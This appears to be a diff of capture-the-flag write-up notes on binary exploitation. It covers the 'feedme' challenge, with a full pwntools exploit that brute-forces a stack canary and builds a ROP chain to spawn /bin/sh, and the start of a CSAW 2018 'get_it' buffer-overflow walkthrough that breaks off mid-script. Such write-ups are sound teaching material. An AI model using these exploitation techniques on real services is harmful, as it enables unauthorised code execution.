|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./feedme...
|
||||
(No debugging symbols found in ./feedme)
|
||||
gef➤ b *0x8049053
|
||||
Breakpoint 1 at 0x8049053
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/feed/feedme
|
||||
[Detaching after fork from child process 3730383]
|
||||
FEED ME!
|
||||
^C
|
||||
Program received signal SIGINT, Interrupt.
|
||||
0xf7ffc549 in __kernel_vsyscall ()
|
||||
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\$'
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$eax : 0xfffffe00
|
||||
$ebx : 0x38ebcf
|
||||
$ecx : 0xffffd0e0 → 0x00000000
|
||||
$edx : 0x0
|
||||
$esp : 0xffffd0b8 → 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx
|
||||
$ebp : 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx
|
||||
$esi : 0x0
|
||||
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
|
||||
$eip : 0xf7ffc549 → <__kernel_vsyscall+9> pop ebp
|
||||
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0xffffd0b8│+0x0000: 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx ← $esp
|
||||
0xffffd0bc│+0x0004: 0x00000000
|
||||
0xffffd0c0│+0x0008: 0xffffd0e0 → 0x00000000
|
||||
0xffffd0c4│+0x000c: 0x0806cc02 → pop ebx
|
||||
0xffffd0c8│+0x0010: 0x080481a8 → push ebx
|
||||
0xffffd0cc│+0x0014: 0x0804910e → mov DWORD PTR [ebp-0xc], eax
|
||||
0xffffd0d0│+0x0018: 0x0038ebcf
|
||||
0xffffd0d4│+0x001c: 0xffffd0e0 → 0x00000000
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||||
0xf7ffc543 <__kernel_vsyscall+3> mov ebp, esp
|
||||
0xf7ffc545 <__kernel_vsyscall+5> sysenter
|
||||
0xf7ffc547 <__kernel_vsyscall+7> int 0x80
|
||||
→ 0xf7ffc549 <__kernel_vsyscall+9> pop ebp
|
||||
0xf7ffc54a <__kernel_vsyscall+10> pop edx
|
||||
0xf7ffc54b <__kernel_vsyscall+11> pop ecx
|
||||
0xf7ffc54c <__kernel_vsyscall+12> ret
|
||||
0xf7ffc54d nop
|
||||
0xf7ffc54e nop
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "feedme", stopped 0xf7ffc549 in __kernel_vsyscall (), reason: SIGINT
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0xf7ffc549 → __kernel_vsyscall()
|
||||
[#1] 0x806cc02 → pop ebx
|
||||
[#2] 0x804910e → mov DWORD PTR [ebp-0xc], eax
|
||||
[#3] 0x80491da → mov eax, 0x0
|
||||
[#4] 0x80493ba → mov DWORD PTR [esp], eax
|
||||
[#5] 0x8048d2b → hlt
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤ bt
|
||||
#0 0xf7ffc549 in __kernel_vsyscall ()
|
||||
#1 0x0806cc02 in ?? ()
|
||||
#2 0x0804910e in ?? ()
|
||||
#3 0x080491da in ?? ()
|
||||
#4 0x080493ba in ?? ()
|
||||
#5 0x08048d2b in ?? ()
|
||||
|
||||
|
||||
|
||||
So here we basically set only the first breakpoint, and hit CTRL+C to exit out of the 'feedme' prompt and then run 'bt' so that we can follow the backtrace to the parent function that we can also find if we look for (CTRL+SHIFT+E) **'Child IO error!'** :
|
||||
|
||||

|
||||
|
||||
So we get the following code:
|
||||
|
||||
|
||||
void FUN_080490b0(void)
|
||||
|
||||
{
|
||||
undefined uVar1;
|
||||
int local_1c;
|
||||
uint local_18;
|
||||
int local_14;
|
||||
int local_10;
|
||||
|
||||
local_1c = 0;
|
||||
local_18 = 0;
|
||||
while( true ) {
|
||||
if (799 < local_18) {
|
||||
return;
|
||||
}
|
||||
local_14 = FUN_0806cc70();
|
||||
if (local_14 == 0) break;
|
||||
local_10 = FUN_0806cbe0(local_14,&local;_1c,0);
|
||||
if (local_10 == -1) {
|
||||
FUN_0804fc60("Wait error!");
|
||||
FUN_0804ed20(0xffffffff);
|
||||
}
|
||||
if (local_1c == -1) {
|
||||
FUN_0804fc60("Child IO error!");
|
||||
FUN_0804ed20(0xffffffff);
|
||||
}
|
||||
FUN_0804fc60("Child exit.");
|
||||
FUN_0804fa20(0);
|
||||
local_18 = local_18 + 1;
|
||||
}
|
||||
uVar1 = FUN_08049036();
|
||||
FUN_0804f700("YUM, got %d bytes!\n",uVar1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
Here we see that it is calling the function responsible for setting up a child process in a loop that will run for 800 times, that means we can crash a child process 800 times before the program exits on us, So how do we exploit it?
|
||||
|
||||
So first, with the stack canary, we have the ability to overwrite the return address. The only thing stopping us other than the NX is the stack canary that we can bruteforce. The problem is that all of the child process will share the same canary. For the canary it will have 4 bytes, one null byte and 3 random bytes, so only 3 bytes that we do not know.
|
||||
|
||||
So we can overwrite the stack canary one byte a a time, The byte we overwrite it with will be a wild guess, if one child process dies we know that it was incorrect, and if it doesn't then we will know what our guess was correct. There are 256 different values that the byte can be, and since there are 3 bytes we are guessing that gives us a 256 * 3 = 768 possible guesses every combination if we guess one byte a a time. This can be done by only overwriting one byte at a time. with that we can deal with the stack canary.
|
||||
|
||||
Now onto the ROP chain: Once we have the stack canary and nothing will be able to stop us from reaching the return function to get code execution as usual. Then what do we execute ? NX is turned on, so we cannot just jump to the shellcode we place on the stack. However the elf does have PIE set to enabled which randomizes the address of code, Therefore building a ROP chain without an infoleak is possible. For this ROP Chain, we will be making an execve() syscall to /bin/sh to give us a shell.
|
||||
|
||||
Now to build our ROP chain we need to look for ROP Gadgets as we saw in the previous 2 challenges. We will use ROPGadget for that, check out [simplecalc](calc.html) to check out how i installed it. now let's find the following gadgets:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ ROPgadget --binary feedme| grep "mov.*\[eax\].*; ret$"
|
||||
|
||||
[...]
|
||||
|
||||
0x0807be31 : mov dword ptr [eax], edx ; ret
|
||||
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
Here's an useful gadget because this will allow us to move the contents of the edx register into the area of space pointed to by the address of eax, and then return. So if we wanted to write to the address 1234 wec ould load that address into eax and the value we wanted to write into the edx register, then call this gadget.
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ ROPgadget --binary feedme| grep ": pop eax ; ret$"
|
||||
0x080bb496 : pop eax ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ ROPgadget --binary feedme| grep ": pop edx ; ret$"
|
||||
0x0806f34a : pop edx ; ret
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ ROPgadget --binary feedme| grep ": pop ecx ; pop ebx ; ret$"
|
||||
0x0806f371 : pop ecx ; pop ebx ; ret
|
||||
|
||||
|
||||
|
||||
The last gadget we found is so that we can control the value of the ecx register. Unfortunately there are no gadgets that will just pop a value into the ecx and just return, so this is the next best thing, which will save us not having to use another gadget when we pop a value into the ebx register.
|
||||
|
||||
Now that we have gadgets for eax, edx, ecx:
|
||||
|
||||

|
||||
|
||||
Now we need a gadget for the ebx register because this one will be needed to contain our **/bin/sh** string
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ ROPgadget --binary feedme| grep "int 0x80$"
|
||||
0x080941d3 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
|
||||
0x0804975f : add byte ptr [eax], al ; int 0x80
|
||||
0x0806ceb0 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80
|
||||
0x0806ceb1 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80
|
||||
0x0806cf3c : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
|
||||
0x0806f428 : clc ; mov ecx, 0x80 ; int 0x80
|
||||
0x0806ceb3 : clc ; mov ecx, 0x81 ; int 0x80
|
||||
0x080941d5 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
|
||||
|
||||
**0x08049761 : int 0x80**
|
||||
|
||||
|
||||
|
||||
Here we see that at **0x08049761** is a gadget that enables us to make a syscall to the kernel to get a shell. in x86, you can just call int 0x80. Syscall will expect 3 arguments as detailed below:
|
||||
|
||||
|
||||
eax : 11 # SYSCALL ID
|
||||
ebx : bss addr 0x80eb928 # address of the command
|
||||
ecx : 0x0
|
||||
edx : 0x0
|
||||
|
||||
|
||||
So now with this we get our ROP Chain:
|
||||
|
||||
|
||||
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
|
||||
payload += p32(0x080bb496) # pop eax ; ret
|
||||
payload += p32(0x80eb928) # bss address
|
||||
payload += p32(0x0806f34a) # pop edx
|
||||
payload += p32(0x6e69622f) # /bin string in hex, in little endian
|
||||
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
|
||||
|
||||
# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
|
||||
payload += p32(0x080bb496) # pop eax ; ret
|
||||
payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin'
|
||||
payload += p32(0x0806f34a) # pop edx
|
||||
payload += p32(0x0068732f) # /sh string in hex, in little endian
|
||||
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
|
||||
|
||||
# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
|
||||
payload += p32(0x080bb496) # pop eax ; ret
|
||||
payload += p32(0xb) # 11
|
||||
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
|
||||
payload += p32(0x0) # 0x0
|
||||
payload += p32(0x80eb928) # bss address
|
||||
payload += p32(0x0806f34a) # pop edx ; ret
|
||||
payload += p32(0x0) # 0x0
|
||||
payload += p32(0x8049761) # syscall
|
||||
|
||||
|
||||
|
||||
And we get our full exploit here:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
# This is based off of a Raytheon SI Govs talk
|
||||
|
||||
# First we import pwntools
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
# We know that the first byte of the stack canary has to be \x00 since it is null terminated, keep the values we know for the canary in known_canary
|
||||
known_canary = "\x00"
|
||||
# Ascii representation of the canary
|
||||
hex_canary = "00"
|
||||
# The current canary which will be incremented
|
||||
canary = 0x0
|
||||
# The number of bytes we will give as input
|
||||
inp_bytes = 0x22
|
||||
# Iterate 3 times for the three bytes we need to brute force
|
||||
for j in range(0, 3):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for i in xrange(0xff):
|
||||
log.info("Trying canary: " + hex(canary) + hex_canary)
|
||||
|
||||
# Send the current input size
|
||||
target.send(p32(inp_bytes)[0])
|
||||
|
||||
# Send this iterations canary
|
||||
target.send("0"*0x20 + known_canary + p32(canary)[0])
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil("exit.")
|
||||
if "YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print "next byte is: " + hex(canary)
|
||||
known_canary = known_canary + p32(canary)[0]
|
||||
inp_bytes = inp_bytes + 1
|
||||
new_canary = hex(canary)
|
||||
new_canary = new_canary.replace("0x", "")
|
||||
hex_canary = new_canary + hex_canary
|
||||
canary = 0x0
|
||||
break
|
||||
else:
|
||||
# If this isn't the canary value, increment canary by one and move onto next loop
|
||||
canary = canary + 0x1
|
||||
|
||||
# Return the canary
|
||||
return int(hex_canary, 16)
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info("The canary is: " + hex(canary))
|
||||
|
||||
|
||||
# Now that we have the canary, we can start making our final payload
|
||||
|
||||
# This will cover the space up to, and including the canary
|
||||
payload = "0"*0x20 + p32(canary)
|
||||
|
||||
# This will cover the rest of the space between the canary and the return address
|
||||
payload += "1"*0xc
|
||||
|
||||
# Start putting together the ROP Chain
|
||||
|
||||
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
|
||||
payload += p32(0x080bb496) # pop eax ; ret
|
||||
payload += p32(0x80eb928) # bss address
|
||||
payload += p32(0x0806f34a) # pop edx
|
||||
payload += p32(0x6e69622f) # /bin string in hex, in little endian
|
||||
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
|
||||
|
||||
# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
|
||||
payload += p32(0x080bb496) # pop eax ; ret
|
||||
payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin'
|
||||
payload += p32(0x0806f34a) # pop edx
|
||||
payload += p32(0x0068732f) # /sh string in hex, in little endian
|
||||
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
|
||||
|
||||
# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
|
||||
payload += p32(0x080bb496) # pop eax ; ret
|
||||
payload += p32(0xb) # 11
|
||||
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
|
||||
payload += p32(0x0) # 0x0
|
||||
payload += p32(0x80eb928) # bss address
|
||||
payload += p32(0x0806f34a) # pop edx ; ret
|
||||
payload += p32(0x0) # 0x0
|
||||
payload += p32(0x8049761) # syscall
|
||||
|
||||
# Send the amount of bytes for our payload, and the payload itself
|
||||
target.send("\x78")
|
||||
target.send(payload)
|
||||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
Now let's see if it works:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
|
||||
→ python2 exploit.py
|
||||
[+] Starting local process './feedme': pid 208854
|
||||
[*] Trying canary: 0x000
|
||||
[*] Trying canary: 0x100
|
||||
[*] Trying canary: 0x200
|
||||
[*] Trying canary: 0x300
|
||||
[*] Trying canary: 0x400
|
||||
[*] Trying canary: 0x500
|
||||
[*] Trying canary: 0x600
|
||||
[*] Trying canary: 0x700
|
||||
[*] Trying canary: 0x800
|
||||
[*] Trying canary: 0x900
|
||||
[*] Trying canary: 0xa00
|
||||
[*] Trying canary: 0xb00
|
||||
[*] Trying canary: 0xc00
|
||||
[*] Trying canary: 0xd00
|
||||
[*] Trying canary: 0xe00
|
||||
[*] Trying canary: 0xf00
|
||||
|
||||
[...]
|
||||
|
||||
[*] Trying canary: 0x7d5cc000
|
||||
[*] Trying canary: 0x7e5cc000
|
||||
[*] Trying canary: 0x7f5cc000
|
||||
[*] Trying canary: 0x805cc000
|
||||
[*] Trying canary: 0x815cc000
|
||||
[*] Trying canary: 0x825cc000
|
||||
[*] Trying canary: 0x835cc000
|
||||
[*] Trying canary: 0x845cc000
|
||||
[*] Trying canary: 0x855cc000
|
||||
[*] Trying canary: 0x865cc000
|
||||
[*] Trying canary: 0x875cc000
|
||||
[*] Trying canary: 0x885cc000
|
||||
[*] Trying canary: 0x895cc000
|
||||
[*] Trying canary: 0x8a5cc000
|
||||
[*] Trying canary: 0x8b5cc000
|
||||
[*] Trying canary: 0x8c5cc000
|
||||
[*] Trying canary: 0x8d5cc000
|
||||
next byte is: 0x8d
|
||||
[*] The canary is: 0x8d5cc000
|
||||
[*] Switching to interactive mode
|
||||
|
||||
FEED ME!
|
||||
ATE 30303030303030303030303030303030...
|
||||
$ id
|
||||
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
|
||||
$ cat flag.txt
|
||||
flag{g0ttem_b0yz}
|
||||
$ exit
|
||||
|
||||
|
||||
|
||||
And that's it ! We have been able to spawn a shell and print the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
309
2/get.md
Normal file
|
@ -0,0 +1,309 @@
|
|||
# CSAW 2018 Get It
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it
|
||||
--2021-02-27 14:55:14-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it
|
||||
Resolving github.com (github.com)... 140.82.121.3
|
||||
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it [following]
|
||||
--2021-02-27 14:55:15-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 8744 (8.5K) [application/octet-stream]
|
||||
Saving to: ‘get_it’
|
||||
|
||||
get_it 100%[=======================================================================================================================================================================================================>] 8.54K --.-KB/s in 0s
|
||||
|
||||
2021-02-27 14:55:15 (36.0 MB/s) - ‘get_it’ saved [8744/8744]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
|
||||
→ file get_it
|
||||
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
|
||||
→ chmod +x get_it
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
first we start by executing the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
|
||||
→ ./get_it
|
||||
Do you gets it??
|
||||
maybe
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
|
||||
→ ./get_it
|
||||
Do you gets it??
|
||||
yes
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
|
||||
→ pwn checksec get_it
|
||||
[*] '/home/nothing/binexp/2/get/get_it'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
|
||||
It prints text, and then asks for our input. This is a 64 bit binary with a non-executable stack. Let's check it from inside ghidra:
|
||||
|
||||

|
||||
|
||||
The binary really has a simplistic code for the main function:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
char local_28 [32];
|
||||
|
||||
puts("Do you gets it??");
|
||||
gets(local_28);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
So our input text is given to the local_28 variable which can hold 32 characters, and it is being passed through a gets function, and as we saw in the previous binary, the gets function is not secure because it does not know a limit, there is no size restriction for the data that gets scanned in, it will simply scan in data until it gets either a newline character or an EOF. Because of this we can write more data to our input text variable (local_28) than it can hold.
|
||||
|
||||
Looking at the other functions of this binary, we see that there is another function that's there to spawn a shell for us:
|
||||
|
||||

|
||||
|
||||
|
||||
void give_shell(void)
|
||||
|
||||
{
|
||||
system("/bin/bash");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
From here it's safe to assume that the goal is to find a way to spawn a shell thanks to the give_shell function. Since we know the gets function does not have an upper limit, so our goal is to overwrite the return function at the end, so that we can do what we want with it:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
|
||||
→ gdb ./get_it
|
||||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||||
Reading symbols from ./get_it...
|
||||
(No debugging symbols found in ./get_it)
|
||||
gef➤ disas main
|
||||
Dump of assembler code for function main:
|
||||
0x00000000004005c7 <+0>: push rbp
|
||||
0x00000000004005c8 <+1>: mov rbp,rsp
|
||||
0x00000000004005cb <+4>: sub rsp,0x30
|
||||
0x00000000004005cf <+8>: mov DWORD PTR [rbp-0x24],edi
|
||||
0x00000000004005d2 <+11>: mov QWORD PTR [rbp-0x30],rsi
|
||||
0x00000000004005d6 <+15>: mov edi,0x40068e
|
||||
0x00000000004005db <+20>: call 0x400470
|
||||
0x00000000004005e0 <+25>: lea rax,[rbp-0x20]
|
||||
0x00000000004005e4 <+29>: mov rdi,rax
|
||||
0x00000000004005e7 <+32>: mov eax,0x0
|
||||
0x00000000004005ec <+37>: call 0x4004a0
|
||||
0x00000000004005f1 <+42>: mov eax,0x0
|
||||
0x00000000004005f6 <+47>: leave
|
||||
0x00000000004005f7 <+48>: ret
|
||||
End of assembler dump.
|
||||
gef➤ b *0x4005f1
|
||||
Breakpoint 1 at 0x4005f1
|
||||
gef➤ r
|
||||
|
||||
|
||||
Here we set our first breakpoint right after the gets call, so let's run the binary and give it a pattern easy to remember:
|
||||
|
||||
|
||||
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/get/get_it
|
||||
Do you gets it??
|
||||
13371337
|
||||
|
||||
Breakpoint 1, 0x00000000004005f1 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x00007fffffffe0e0 → "13371337"
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
|
||||
$rdx : 0x0
|
||||
$rsp : 0x00007fffffffe0d0 → 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it"
|
||||
$rbp : 0x00007fffffffe100 → 0x0000000000400600 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x31373333
|
||||
$rdi : 0x00007ffff7faf680 → 0x0000000000000000
|
||||
$rip : 0x00000000004005f1 → mov eax, 0x0
|
||||
$r8 : 0x00007fffffffe0e0 → "13371337"
|
||||
$r9 : 0x0
|
||||
$r10 : 0x6e
|
||||
$r11 : 0x246
|
||||
$r12 : 0x00000000004004c0 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe0d0│+0x0000: 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it" ← $rsp
|
||||
0x00007fffffffe0d8│+0x0008: 0x0000000100000000
|
||||
0x00007fffffffe0e0│+0x0010: "13371337" ← $rax, $r8
|
||||
0x00007fffffffe0e8│+0x0018: 0x0000000000400400 → add BYTE PTR [rax], al
|
||||
0x00007fffffffe0f0│+0x0020: 0x00007fffffffe1f0 → 0x0000000000000001
|
||||
0x00007fffffffe0f8│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffe100│+0x0030: 0x0000000000400600 → <__libc_csu_init+0> push r15 ← $rbp
|
||||
0x00007fffffffe108│+0x0038: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x4005e4 mov rdi, rax
|
||||
0x4005e7 mov eax, 0x0
|
||||
0x4005ec call 0x4004a0
|
||||
●→ 0x4005f1 mov eax, 0x0
|
||||
0x4005f6 leave
|
||||
0x4005f7 ret
|
||||
0x4005f8 nop DWORD PTR [rax+rax*1+0x0]
|
||||
0x400600 <__libc_csu_init+0> push r15
|
||||
0x400602 <__libc_csu_init+2> push r14
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "get_it", stopped 0x4005f1 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4005f1 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
no need to search for the pattern, we see that our pattern appears at $rax ( 0x00007fffffffe0e0 )
|
||||
|
||||
|
||||
gef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffe110:
|
||||
rip = 0x4005f1 in main; saved rip = 0x7ffff7e14d0a
|
||||
Arglist at 0x7fffffffe100, args:
|
||||
Locals at 0x7fffffffe100, Previous frame's sp is 0x7fffffffe110
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffe100, rip at 0x7fffffffe108
|
||||
|
||||
|
||||
|
||||
here we see that the return address is stored at 0x7fffffffe108, lets verify that our pattern is at the address we found above:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[heap]'(0x602000-0x623000), permission=rw-
|
||||
0x6026b0 - 0x6026ba → "13371337\n"
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffe0e0 - 0x7fffffffe0e8 → "13371337"
|
||||
|
||||
|
||||
and it is! now we need to calculate the offset between 0x00007fffffffe0e0 and 0x7fffffffe108
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
|
||||
→ python3
|
||||
Python 3.9.1+ (default, Feb 5 2021, 13:46:56)
|
||||
[GCC 10.2.1 20210110] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffe0e0 - 0x7fffffffe108 )
|
||||
'-0x28'
|
||||
|
||||
|
||||
So we get a 0x28 byte offset which is 40 bytes in decimal, basically we need to write 40 bytes worth of input, and then we can write over the return address. Tis address will be executed when the ret instruction is executed, which will give us code execution. We need the address of the give_shell function which we get from ghidra:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined give_shell()
|
||||
undefined AL:1
|
||||
give_shell XREF[3]: Entry Point(*), 004006bc,
|
||||
00400758(*)
|
||||
004005b6 55 PUSH RBP
|
||||
|
||||
|
||||
|
||||
now that we know that we need 40 bytes of input, and then the address 0x004005b6, we can create our payload:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
import sys
|
||||
|
||||
target = process("./get_it")
|
||||
|
||||
payload = b""
|
||||
